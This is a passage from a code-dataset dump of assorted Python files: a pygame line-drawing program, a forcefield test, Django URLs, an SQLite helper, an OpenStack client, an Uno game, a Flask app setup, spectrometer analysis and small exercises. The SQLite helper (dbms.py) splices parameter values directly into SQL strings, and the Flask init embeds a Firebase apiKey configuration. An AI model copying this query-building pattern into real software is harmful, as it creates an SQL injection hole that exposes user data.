linha():\n\tbresenham(pipf())\n\ndef quadrado():\n\t[(x,y),(x2,y2)] = pipf()\n\tif (abs(x-x2)>abs(y-y2)):\n\t\tlado = abs(x-x2)\n\telse:\n\t\tlado = abs(y-y2)\n\tif preenchido:\n\t\tif(x>x2):\n\t\t\t(x,y),(x2,y2) = (x2,y2),(x,y)\n\t\tx,y = x-lado,y-lado\n\t\tx2,y2 = x+lado,y+lado\n\t\twhile(x<=x2):\n\t\t\tbresenham([(x,y),(x,y2)])\n\t\t\tx = x+1\n\telse:\n\t\tbresenham([(x-lado,y-lado),(x-lado,y+lado)]) #Ponto1 ao Ponto2\n\t\tbresenham([(x-lado,y-lado),(x+lado,y-lado)]) #Ponto1 ao Ponto3\n\t\tbresenham([(x+lado,y-lado),(x+lado,y+lado)]) #Ponto3 ao Ponto4\n\t\tbresenham([(x-lado,y+lado),(x+lado,y+lado)]) #Ponto2 ao Ponto4\n\ndef bresenham(coord):\n\tstart = coord[0]\n\tend = coord[1]\n\tx1, y1 = start\n\tx2, y2 = end\n\n\ttam_vert = pygame.display.get_surface().get_height()\n\t\n\tif x1>x2:\n\t\tx1,x2 = x2, x1\n\t\ty1,y2 = y2, y1\n\n\tdx = x2 - x1\n\tdy = abs(y2-y1)\n\n\tif y2-y1 < 0:\n\t\tsinaly = -1\n\telif y2-y1>0:\n\t\tsinaly = 1\n\telse:\n\t\tsinaly = 0\n\n\tif dy>dx:\n\t\tdx, dy = dy, dx\n\t\tmudou = 1\n\telse:\n\t\tmudou = 0\n\t\n\tdy2 = 2*dy \n\tdy2mdx = dy2 - dx #2*dy - dx menos dx\n\tdydx2 = dy2 - 2*dx #2*dy*dx\n\n\tx = x1\n\ty = y1\n\tscreen.set_at((x,y),color)\n\n\tfor i in range(dx):\n\t\tif dy2mdx < 0:\n\t\t\tif mudou >0:\n\t\t\t\ty = y + sinaly\n\t\t\telse:\n\t\t\t\tx = x+1\n\t\t\tdy2mdx = dy2mdx + dy2\n\t\telse:\n\t\t\ty = y+sinaly\n\t\t\tx = x+1\n\t\t\tdy2mdx = dy2mdx + dydx2\n\t\tscreen.set_at((x,y),color)\n\n\tpygame.display.flip()\n\treturn end #retorna o ultimo ponto\n\nlimpa_tela()\nwhile True:\n\tif funcao == 1:\n\t\tlinha()\n\telif funcao == 2:\n\t\tquadrado()\n\telif funcao == 3:\n\t\tpolilinha()\n\telif funcao == 4:\n\t\tcircle()\n\telif funcao == 5:\n\t\tbezier()\n\telif funcao == 6:\n\t\tretangulo()\n\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT: sys.exit()","sub_path":"trab1.py","file_name":"trab1.py","file_ext":"py","file_size_in_byte":9458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"297323473","text":"import glob\nimport os\nfrom pkg_resources import resource_filename\nimport pytest\n\nfrom foyer import Forcefield\n\n\nFF_DIR = resource_filename('foyer', 'forcefields')\nFORCEFIELDS = glob.glob(os.path.join(FF_DIR, '*.xml'))\n\ndef test_load_files():\n ff1 = Forcefield(forcefield_files=FORCEFIELDS)\n assert len(ff1._atomTypes) > 0\n\n ff2 = Forcefield(forcefield_files=FORCEFIELDS[0])\n assert len(ff1._atomTypes) == len(ff2._atomTypes)\n\n ff3 = Forcefield(name='oplsaa')\n assert len(ff1._atomTypes) == len(ff3._atomTypes)\n\ndef test_duplicate_type_definitions():\n with pytest.raises(ValueError):\n ff4 = Forcefield(name='oplsaa', forcefield_files=FORCEFIELDS)\n","sub_path":"foyer/tests/test_forcefield.py","file_name":"test_forcefield.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"92094837","text":"from django.conf.urls import url\nfrom .views import MyCourseView,MyFavOrgView,MyFavTeacherView,MyFavCourseView,MyMessageView\nfrom .views import UserImageView,UserInfoView,ChangePwdView\nurlpatterns = [\n #个人信息\n url(r'^info/$',UserInfoView.as_view(),name=\"info\"),\n #修改用户头像\n url(r'^image/upload/$',UserImageView.as_view(),name=\"image\"),\n #修改密码\n url(r'^update/pwd/$',ChangePwdView.as_view(),name=\"pwd\"),\n #修改手机号\n url(r'^update/mobile/$',ChangePwdView.as_view(),name=\"mobile\"),\n #我的课程\n url(r'^mycourse/$',MyCourseView.as_view(),name=\"mycourse\"),\n #我的收藏课程机构\n url (r'^myfavorg',MyFavOrgView.as_view(),name=\"myfavorg\"),\n # 我的收藏课程教师\n url(r'^myfavteacher', MyFavTeacherView.as_view(), name=\"myfavteacher\"),\n # 我的收藏课程\n url(r'^myfavcourse', MyFavCourseView.as_view(), name=\"myfavcourse\"),\n #我的消息\n url(r'^message', MyMessageView.as_view(), name=\"message\"),\n\n\n]\n\n\n\n\n\n\n\n\n\n","sub_path":"apps/users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"647847779","text":"#!/usr/bin/python3\r\n\r\nimport sqlite3, sys\r\n\r\ndef dict_factory( cursor, row ):\r\n\tresult = {}\r\n\t\r\n\tfor index, column in enumerate( cursor.description ):\r\n\t\tresult[ column[ 0 ] ] = row[ index ]\r\n\t\r\n\treturn result\r\n\r\ndef execute( query, parameters = None ):\r\n\tconnection = sqlite3.connect( 'db/simpledb.sqlite' )\r\n\tconnection.row_factory = dict_factory\r\n\tcursor = connection.cursor()\r\n\r\n\tif parameters is not None:\r\n\t\tfor key in parameters.keys():\r\n\t\t\tvalue = parameters[ key ]\r\n\r\n\t\t\tif type( value ) == str:\r\n\t\t\t\tvalue = \"'\" + value + \"'\"\r\n\r\n\t\t\tquery = query.replace( '${' + str( key ) + '}', str( value ) )\r\n\r\n\tcursor.execute( query )\t\r\n\tresult = cursor.fetchall()\r\n\t\r\n\tconnection.commit()\r\n\tconnection.close()\r\n\r\n\treturn result\r\n\r\nCREATE_TABLE_GAME = \"\"\"\r\n\tCREATE TABLE game (\r\n\t\tid INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE NOT NULL,\r\n\t\tname TEXT NOT NULL,\r\n\t\tlink TEXT NOT NULL,\r\n\t\tintroText TEXT NOT NULL,\r\n\t\ticonImage TEXT NOT NULL,\t\t\r\n\t\tregDateTime DATETIME NOT NULL\r\n\t)\r\n\"\"\"\r\n\r\nCREATE_TABLE_INTROIMAGE = \"\"\"\r\n\tCREATE TABLE introImage (\r\n\t\tgameId INTEGER NOT NULL,\r\n\t\timage TEXT NOT NULL,\r\n\t\torderSeq INTEGER NOT NULL\r\n\t)\r\n\"\"\"\r\n\r\nSELECT_MAX_GAME_ID = \"\"\"\r\n\tSELECT MAX( id ) FROM game\r\n\"\"\"\r\n\r\nSELECT_ICON_INFO = \"\"\"\r\n\tSELECT id, name, iconImage FROM game ORDER BY id\r\n\"\"\"\r\n\r\nSELECT_GAME_INFO = \"\"\"\r\n\tSELECT link, introText FROM game WHERE id = ${id}\r\n\"\"\"\r\n\r\nSELECT_INTRO_IMAGE = \"\"\"\r\n\tSELECT image FROM introImage WHERE gameId = ${id}\r\n\"\"\"\r\n\r\nINSERT_GAME = \"\"\"\r\n\tINSERT INTO game ( name, link, introText, iconImage, regDateTime ) VALUES ( ${name}, ${link}, ${introText}, ${iconImage}, datetime() )\t\r\n\"\"\"\r\n\r\nINSERT_INTROIMAGE = \"\"\"\r\n\tINSERT INTO introImage ( gameId, image, orderSeq ) VALUES ( ${gameId}, ${image}, ${orderSeq} )\r\n\"\"\"","sub_path":"server/db/dbms.py","file_name":"dbms.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"424784089","text":"# Copyright 2014-2016 by Akira Yoshiyama .\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"\nResource class and its manager for services in Compute API v2\n\"\"\"\n\nfrom osclient2 import base\nfrom osclient2 import mapper\nfrom osclient2 import utils\n\n\nclass Service(base.Resource):\n \"\"\"Resource class for services in Compute API v2\"\"\"\n\n def enable(self):\n \"\"\"\n Enable a service on a host\n \"\"\"\n self._manager.enable(host=self.host, binary=self.binary)\n\n def disable(self):\n \"\"\"\n Disable a service on a host\n \"\"\"\n self._manager.disable(host=self.host, binary=self.binary)\n\n def set_disabled_reason(self, reason=None):\n \"\"\"\n Set disabled reason for a service on a host\n\n :param reason=: description\n \"\"\"\n self._manager.set_disabled_reason(host=self.host, binary=self.binary,\n reason=reason)\n\n\nclass Manager(base.Manager):\n \"\"\"Manager class for services in Compute API v2\"\"\"\n\n service_type = 'compute'\n url_resource_path = '/os-services'\n json_resource_key = 'service'\n json_resources_key = 'services'\n\n resource_class = Service\n attr_mapping = [\n ('id', 'id', mapper.Noop, 'Service ID (string)'),\n ('host', 'host', mapper.Noop, 'Hostname ID (string)'),\n ('binary', 'binary', mapper.Noop, 'Program name (string)'),\n ('state', 'state', mapper.Noop, 'State (string)'),\n ('status', 'status', mapper.Noop, 'Status (string)'),\n ('updated_at', 'updated_at', mapper.DateTime,\n 'Updated timestamp (datetime object)'),\n ('availability_zone', 'zone',\n mapper.Resource('nova.v2.availability_zone'),\n 'Availability zone (AvailabilityZone object)'),\n ('disabled_reason', 'disabled_reason', mapper.Noop,\n 'Disabled reason (string)'),\n ]\n\n def create(self):\n raise NotImplementedError()\n\n @utils.resource_method\n def update(self, id, name=None, availability_zone=None):\n \"\"\"\n Create a host aggregate\n\n :param id: ID of the aggregate\n :param name=: name of the host aggregate\n :param availability_zone=: name of availability zone\n \"\"\"\n return super(Manager, self).update(id,\n name=name,\n availability_zone=availability_zone)\n\n def enable(self, host=None, binary=None):\n \"\"\"\n Enable a service on a host\n\n :param host=: host name (str, required)\n :param binary=: binary name (str, required)\n \"\"\"\n self.http.put(utils.join_path(self.url_resource_path, \"enable\"),\n data=dict(host=host, binary=binary))\n\n def disable(self, host=None, binary=None):\n \"\"\"\n Disable a service on a host\n\n :param host=: host name (str, required)\n :param binary=: binary name (str, required)\n \"\"\"\n self.http.put(utils.join_path(self.url_resource_path, \"disable\"),\n data=dict(host=host, binary=binary))\n\n def set_disabled_reason(self, host=None, binary=None, reason=None):\n \"\"\"\n Set disabled reason for a service on a host\n\n :param host=: host name (str, required)\n :param binary=: binary name (str, required)\n :param reason=: description (str, required)\n \"\"\"\n self.http.put(utils.join_path(self.url_resource_path,\n \"disable-log-reason\"),\n data=dict(host=host, binary=binary,\n disabled_reason=reason))\n","sub_path":"osclient2/nova/v2/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":4203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"23839795","text":"def quadratic(alist):\n for i in alist:\n isSmallest = True\n for x in alist:\n if i > x:\n isSmallest = False\n if isSmallest == True:\n print(str(i) + \" is the smallest number.\")\n\n\nquadratic([14,205, 242, 12, 11, 180, 22, 48])\n\n\ndef linear (alist):\n min = alist[0]\n for i in alist:\n if i < min:\n min = i\n print(str(min) + \" is the smallest number.\") \n\n\nlinear([9, 12, 14, 8, 19, 20]) \n","sub_path":"interactivePython/minimumInAList.py","file_name":"minimumInAList.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"362728933","text":"from flask import Flask\nfrom flask import session as server_session\nfrom flask_restful import Api\nfrom flask_session import Session\nfrom flask_login import LoginManager\nfrom flask_bootstrap import Bootstrap\nimport pyrebase\nimport os\n\n\napp = Flask(__name__)\napi = Api(app)\nlogin_manager = LoginManager(app)\nlogin_manager.login_view = \"login\"\napp.config.from_object(__name__)\ntry:\n with open(\"secret_key\", \"rb\") as read_file:\n app.config[\"SECRET_KEY\"] = read_file.read()\nexcept:\n from gen_secret import generate_secret_key\n generate_secret_key()\n with open(\"secret_key\", \"rb\") as read_file:\n app.config[\"SECRET_KEY\"] = read_file.read()\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\n\nSession(app)\nbootstrap = Bootstrap(app)\n\nfirebaseConfig = {\n \"apiKey\": \"AIzaSyAOt2oJnOJHOLgyFHApNINzAqrtS2B0lcY\",\n \"authDomain\": \"projectmanagementapi.firebaseapp.com\",\n \"databaseURL\": \"https://projectmanagementapi.firebaseio.com\",\n \"projectId\": \"projectmanagementapi\",\n \"storageBucket\": \"projectmanagementapi.appspot.com\",\n \"messagingSenderId\": \"432840428373\",\n \"appId\": \"1:432840428373:web:d4aa71e700009b3bed3ddc\",\n \"measurementId\": \"G-FX9PKEDNE6\"\n}\n\nfirebase = pyrebase.initialize_app(firebaseConfig)\ndb = firebase.database()\n\nfrom app import routes","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"207857283","text":"from Environment.environment import UnoEnvironment\nfrom Environment.card import Card\nfrom Environment.player import Player\nfrom Players.HumanPlayer import HumanPlayer\n\n\nclass UnoGame(UnoEnvironment):\n def __init__(self, agent: Player):\n super().__init__(True)\n self.reset(HumanPlayer(), agent)\n self.wait_for_action()\n\n def wait_for_action(self):\n player = self.players[0]\n\n legal_actions = self.get_legal_actions()\n illegal_input = True\n while illegal_input:\n action_input = int(input(\"Input action:\"))\n if 0 <= action_input <= player.get_hand_size():\n if action_input == 0:\n action = 54\n self.played_card = None\n illegal_input = False\n else:\n self.played_card = player.cards[action_input - 1]\n action = player.cards[action_input - 1].action_number\n if action in legal_actions:\n illegal_input = False\n else:\n print(\"You can't do that\")\n else:\n print(\"You can't do that\")\n self.step_with_opp_step(action)\n\n def next_turn(self, skip):\n if skip:\n self.previous_player_index = self.current_player_index\n else:\n self.current_player = self.next_player() # cycles 0 and 1\n self.previous_player_index = self.current_player_index\n self.current_player_index = self.next_player_index()\n\n self.pretty_print_state()\n if self.current_player_index == 0:\n self.wait_for_action()\n\n def skip(self):\n self.pretty_print_state()\n self.wait_for_action()\n\n def pretty_print_state(self):\n print(\"-------------------------------------------------------------------------------------------------------\")\n print(\"Turn \" + str(self.turn))\n Card.pretty_print_cards(self.played_cards[len(self.played_cards) - 1:], False)\n\n for i, player in enumerate(self.players):\n\n if i == self.current_player_index:\n print(\"ACTIVE-\", end='')\n print(player.name + \"'s hand:\")\n if i == 0:\n player.print_hand()\n else:\n print(len(player.cards), \"cards\")\n print(\"-------------------------------------------------------------------------------------------------------\")","sub_path":"Game/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"470491419","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.core.mail import send_mail\nfrom django.conf import settings\n\nfrom .forms import ContactForm\n\n\ndef index(request):\n return render(request, 'index.html')\n\n\ndef contact(request):\n success = False\n\n form = ContactForm(request.POST or None)\n if form.is_valid():\n form.send_email()\n success = True\n form = ContactForm()\n\n context = {\n 'form': form,\n 'success': success\n }\n return render(request, 'contact.html', context)\n","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"1383178","text":"import csv\nimport re\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.io as sio\n\nfrom scipy import signal\nimport peakutils\n\n\nclass read_spectrometer():\n def __init__(self):\n\n #regex for sample description classification. example file name: sample1-H20-T20-Nikon10x-001\n self.temperature_re = re.compile('T\\d+.?\\d*')\n self.humidity_re = re.compile('H\\d+.?\\d*-')\n self.spot_number_re = re.compile('sample\\d+-')\n\n #plotting settings\n self.fig = plt.figure(figsize=(12,4), dpi=200)\n self.intensity_lim = (0,1.1) # range of normalised intensity\n self.humidity_lim = (0,100) # range of RH\n self.plot_colour = ['r','g','b','y','k'] # colour scheme for multiple samples\n\n \n def initialise_methods(self):\n ' initialise class methods '\n self.convert_matlab_scan()\n self.format_result()\n self.remove_background(background_scan_number = 0)\n self.format_description()\n self.find_peaks(find_peak_method = 'scipy')\n self.format_peak_data()\n\n \n def convert_matlab_scan(self):\n 'this converts matlab data into np.ndarray '\n self.mat_scan_contents = sio.loadmat(self.folder +'\\\\'+ 'scan.mat')['scan']\n self.scan_result = {}\n # catagorise scan result into spectrum, description and wavelength\n for i in ['spec', 'desc', 'wl']:\n self.scan_result[i] = self.mat_scan_contents[i]\n # total scan numbers\n self.total_scan_number = len(self.scan_result['wl'])\n \n def read_result(self, feature, scan_number): \n '''Return all datapoints with certain features of certain scan\n\n #print(all_datapoints)\n # read value at certain datapoint\n #data_point = 100\n #print(all_datapoints[data_point])'''\n\n all_datapoints = self.scan_result[feature][scan_number][0]\n\n return all_datapoints\n\n def format_result(self):\n 'convert all the information about one sample into a 2d array '\n self.formatted_scan_results = {}\n self.description = {}\n for scan_number in range(self.total_scan_number):\n wavelength_data = self.read_result(feature = 'wl', scan_number = scan_number)\n intensity_data = self.read_result(feature = 'spec', scan_number = scan_number)\n description = self.read_result(feature = 'desc', scan_number = scan_number)\n # form a 2d array with wavelength and spec data\n self.formatted_scan_results[scan_number] = np.vstack((\n np.transpose(wavelength_data), \n np.transpose(intensity_data)))\n self.description[scan_number] = description\n \n def remove_background(self, background_scan_number = 0):\n 'substract background on non-sample area'\n self.background_substracted_scan_results = {}\n # the sample_number of background spectrometer you want to remove\n background_intensity = self.formatted_scan_results[background_scan_number][1] # [1] is the spec\n for scan_number in range(self.total_scan_number):\n self.background_substracted_scan_results[scan_number] = np.vstack(\n (self.formatted_scan_results[scan_number][0],\n self.formatted_scan_results[scan_number][1] - background_intensity)) \n \n def format_description(self):\n 'Use regex to format the description. Exporting sample number, temperature, and humidity'\n self.temperature = {}\n self.humidity = {}\n self.sample_numbers = {}\n for scan_number in range(self.total_scan_number):\n description = self.description[scan_number][0] # convert list to string\n temperature = self.temperature_re.findall(description)\n humidity = self.humidity_re.findall(description)\n sample_number = self.spot_number_re.findall(description)\n\n try:\n temperature = temperature[0].replace('T','').replace('-','')\n except IndexError: \n temperature = '' # if the data is empty, set it to ''\n try:\n humidity = humidity[0].replace('H','').replace('-','')\n except IndexError:\n humidity = '' # if the data is empty, set it to ''\n try:\n # for desc with same sample_number, add them to a list\n sample_number = sample_number[0].replace('sample','').replace('-','')\n if sample_number not in self.sample_numbers:\n self.sample_numbers[sample_number] = []\n self.sample_numbers[sample_number].append(scan_number)\n except IndexError:\n pass\n\n self.temperature[scan_number] = temperature\n self.humidity[scan_number] = humidity\n\n # override the self.sample_numbers\n #self.sample_numbers[0] = range(1,20)\n #self.sample_numbers[1] = (18,29)\n #print(self.formatted_scan_results[3])\n\n def find_peaks(self, find_peak_method):\n 'find peak using scipy'\n self.peak_wavelength = {}\n self.peak_intensity = {}\n if find_peak_method == 'scipy':\n for scan_number in range(self.total_scan_number):\n # for each scan, find peaks\n peak_data_points = signal.find_peaks_cwt(\n self.formatted_scan_results[scan_number][1], np.arange(50,150))\n for peak_data_point in peak_data_points:\n 'filter out the peak thats not in our interested wavelength'\n # convert datapoint into wavelength\n peak_wavelength = float(self.formatted_scan_results[scan_number][0][peak_data_point])\n if peak_wavelength > self.wavelength_lim[0] and peak_wavelength < self.wavelength_lim[1]:\n self.peak_wavelength[scan_number] = peak_wavelength\n self.peak_intensity[scan_number] = self.formatted_scan_results[scan_number][1][peak_data_point]\n break\n\n elif find_peak_method == 'peakutils':\n for scan_number in range(self.total_scan_number):\n # for each scan, find peaks\n peak_data_points = peakutils.indexes(self.formatted_scan_results[scan_number][1], thres=0.5/max(self.formatted_scan_results[scan_number][1]), min_dist=100)\n #peak_data_points = peakutils.interpolate((range(0, len(self.formatted_scan_results[scan_number][1]))), self.formatted_scan_results[scan_number][1])\n for peak_data_point in peak_data_points:\n 'filter out the peak thats not in our interested wavelength'\n # convert datapoint into wavelength\n peak_wavelength = float(self.formatted_scan_results[scan_number][0][peak_data_point])\n if peak_wavelength > self.wavelength_lim[0] and peak_wavelength < self.wavelength_lim[1]:\n self.peak_wavelength[scan_number] = peak_wavelength\n self.peak_intensity[scan_number] = self.formatted_scan_results[scan_number][1][peak_data_point]\n\n\n def format_peak_data(self):\n self.peak_data = {}\n for sample_number in self.sample_numbers.keys():\n self.peak_data[sample_number] = {}\n for i in ['humidity', 'temperature', 'peak_wavelength', 'peak_intensity']:\n self.peak_data[sample_number][i] = []\n for scan_number in self.sample_numbers[sample_number]:\n self.peak_data[sample_number]['humidity'].append(float(self.humidity[scan_number]))\n self.peak_data[sample_number]['temperature'].append(float(self.temperature[scan_number]))\n self.peak_data[sample_number]['peak_wavelength'].append(self.peak_wavelength[scan_number])\n self.peak_data[sample_number]['peak_intensity'].append(self.peak_intensity[scan_number])\n\n\n def plot_spectrum(self, scan_number):\n 'plot spectra with given sample number, optionally show peaks'\n ax = plt.subplot(211)\n scan_number = scan_number -1 # convert scan number to python numbering system (start from 0)\n if scan_number > self.total_scan_number:\n scan_number = self.total_scan_number - 1\n ax.plot(\n self.formatted_scan_results[scan_number][0], #wavelength\n self.formatted_scan_results[scan_number][1], #intensity\n label='sample: {}\\n{}'.format(scan_number + 1, self.description[scan_number]))\n if self.background_substraction is True:\n ax.plot(\n self.background_substracted_scan_results[scan_number][0], #wavelength\n self.background_substracted_scan_results[scan_number][1], #intensity\n label='bg_removed_sample: {}\\n{}'.format(\n scan_number + 1, self.description[scan_number])) \n \n if self.show_peaks is True:\n ax.plot(\n (self.peak_wavelength[scan_number],self.peak_wavelength[scan_number]),\n self.intensity_lim,\n label = 'scipy peaks')\n\n # set range etc\n ax.set_xlim(self.wavelength_lim)\n ax.set_ylim(self.intensity_lim)\n lines, labels = ax.get_legend_handles_labels()\n ax.legend(\n lines, labels,\n scatterpoints=1, fancybox=True, shadow=True, ncol=1,\n fontsize=12, loc=1, bbox_to_anchor=(1.1,1))\n\n def plot_humidity_vs_peaks(self):\n 'plot wavelength change with humidity'\n ax2 = plt.subplot(212)\n for sample_number in self.sample_numbers:\n ax2.scatter(\n self.peak_data[sample_number]['humidity'],\n self.peak_data[sample_number]['peak_wavelength'],\n c = self.plot_colour[int(sample_number)],\n label = 'spot{}'.format(sample_number))\n\n # set range etc\n ax2.set_xlim(self.humidity_lim)\n ax2.set_ylim(self.wavelength_lim)\n ax2.legend(\n scatterpoints=1, fancybox=True, shadow=True, ncol=1,\n fontsize=12, loc=1, bbox_to_anchor=(1.1,1))\n\n\n def export_data(self, filename):\n 'Export data to a csv sheet'\n with open(filename, 'w', newline=\"\") as csvfile:\n csv_writer = csv.writer(csvfile, dialect = 'excel')\n csv_writer.writerow(['scan number','sample description','temperature','humidity','wavelength','intensity'])\n for scan_number in range(self.total_scan_number):\n csv_writer.writerow(\n ['{}'.format(scan_number + 1) ,\n '{}'.format(self.description[scan_number]),\n '{}'.format(self.temperature[scan_number]),\n '{}'.format(self.humidity[scan_number]),\n '{}'.format(self.peak_wavelength[scan_number]),\n '{}'.format(self.peak_intensity[scan_number])])\n\nif __name__ == \"__main__\":\n# visualisation\n spectrometer_result = read_spectrometer()\n # initialise some parameters\n spectrometer_result.folder = r\"D:\\GDrive\\Research\\BIP\\Humidity sensor project\\data\\20170421\"\n spectrometer_result.background_substraction = False # secondary background substraction\n spectrometer_result.show_peaks = True # draw a line at peak positions\n spectrometer_result.wavelength_lim = (400,700) # range of wavelength to plot\n \n spectrometer_result.initialise_methods()\n # plot individual scan\n spectrometer_result.plot_spectrum(1)\n # plot peak wavelength change with relative humidity\n spectrometer_result.plot_humidity_vs_peaks()\n # export data to scan.csv\n spectrometer_result.export_data(spectrometer_result.folder + '\\\\' + 'scan.csv')\n # show matplotlib figure\n plt.show()\n","sub_path":"spectrometer/read_scan.py","file_name":"read_scan.py","file_ext":"py","file_size_in_byte":11784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"402425805","text":"from express.properties.scalar import ScalarProperty\n\n\nclass ReactionEnergyBarrier(ScalarProperty):\n \"\"\"\n Reaction energy barrier.\n \"\"\"\n\n def __init__(self, name, parser, *args, **kwargs):\n super(ReactionEnergyBarrier, self).__init__(name, parser, *args, **kwargs)\n energies = self.parser.reaction_energies()\n self.value = sorted(energies, key=lambda e: abs(e or 0), reverse=True)[0]\n","sub_path":"express/properties/scalar/reaction_energy_barrier.py","file_name":"reaction_energy_barrier.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"95370399","text":"'''Write a Python program for all the cases which can check a string contains only a certain set of characters\r\n(in this case a-z, A-Z and 0-9).'''\r\nimport re\r\n\r\ndef is_allowed_specific_character(s):\r\n characterRe = re.compile(r'[^a-zA-Z0-9.]')\r\n s = characterRe.search(s)\r\n return not bool(s)\r\n\r\nprint(is_allowed_specific_character(\"Puneetpsk1609\")) \r\nprint(is_allowed_specific_character(\"85686@psk123_\"))\r\n\r\n\r\nprint()\r\n#Write a Python program that matches a word containing 'ab'.\r\n\r\ndef text_match(t):\r\n p = '\\w*ab.\\w*'\r\n if re.search(p, t):\r\n return \"Match Found! Hurray!!\"\r\n else:\r\n return(\"Oops!! Match not found\")\r\n\r\nprint(text_match(\"Puneet Python Lover\"))\r\nprint(text_match(\"abbbaaababababbbbaaa\"))\r\n\r\nprint()\r\n#Write a Python program to check for a number at the end of a word/sentence.\r\n\r\ndef end_num(s):\r\n text = re.compile(r\".*[0-9]$\")\r\n if text.match(s):\r\n return True\r\n else:\r\n return False\r\n\r\nprint(end_num('ab34de'))\r\nprint(end_num('abc123'))\r\nprint(end_num('abc'))\r\nprint(end_num('12345abcde'))\r\n\r\n\r\n\r\nprint()\r\n#Write a Python program to search the numbers (0-9) of length between 1 to 3 in a given s\r\n\r\nresults = re.finditer(r\"([0-9]{1,3})\", \"Exercises number 1, 9, 11, and 222 are important\")\r\nprint(\"Number of length 1 to 3\")\r\nfor n in results:\r\n print(n.group(0))\r\n\r\n\r\nprint()\r\n#Write a Python program to match a string that contains only uppercase letters\r\n\r\ndef text_match(text):\r\n patterns = '^[a-zA-Z0-9_]*$'\r\n if re.search(patterns, text):\r\n return ('Match Found! Hurray!')\r\n else:\r\n return('Oops! Match not found!!')\r\n\r\nprint(text_match(\"The quick brown fox jumps over the lazy dog.\"))\r\nprint(text_match(\"Python_Exercises_1\"))\r\n","sub_path":"Day13.py","file_name":"Day13.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"159419373","text":"import os\n\n\ndef positive(num1, num2, num3):\n print(\"\\n==Positive==\\n\")\n product = num1 * num2\n i = 1\n nums = []\n while product >= i:\n if product % i == 0:\n nums.append([i, product / i])\n i += 1\n\n answer = []\n for i in range(len(nums)):\n if nums[i][0] + nums[i][1] == num3:\n answer = nums[i]\n if answer:\n return answer\n return \"No Solution\"\n\n\ndef negative(num1, num2, num3):\n print(\"\\n==Negative==\\n\")\n product = abs(num1 * num2)\n i = 1\n nums = []\n while product >= i:\n if product % i == 0:\n nums.append([i, product / i])\n i += 1\n\n answer = []\n for i in range(len(nums)):\n if nums[i][0] - nums[i][1] == num3:\n answer = [-nums[i][1], nums[i][0]]\n elif nums[i][1] - nums[i][0] == num3:\n answer = [nums[i][1], -nums[i][0]]\n if answer:\n return answer\n return \"No Solution\"\n\n\ndef clear():\n os.system('cls' if os.name == 'nt' else 'clear')\n\n\ndef main():\n while True:\n num1 = int(input(\"Number 1 (first number): \"))\n num2 = int(input(\"Number 2 (second number): \"))\n num3 = int(input(\"Number 3 (sum): \"))\n # product = num1 * num2\n pos_neg = True\n div_err = False\n\n if num1 <= 0 and num2 > 0 and num3 < 0:\n pos_neg = True\n elif (num1 >= 0 and num2 > 0 and num3 > 0) or (num1 <= 0 and num2 < 0 and num3 < 0):\n pos_neg = False\n if num2 == 0:\n print(\"Zero Division Error\")\n div_err = True\n\n if not div_err:\n if pos_neg:\n print(negative(num1, num2, num3))\n if not pos_neg:\n print(positive(abs(num1), abs(num2), abs(num3)))\n input(\"Press Enter to continue: \")\n clear()\n\n\nprint(main())\nclear()\n","sub_path":"Calculators/factoring calculator.py","file_name":"factoring calculator.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
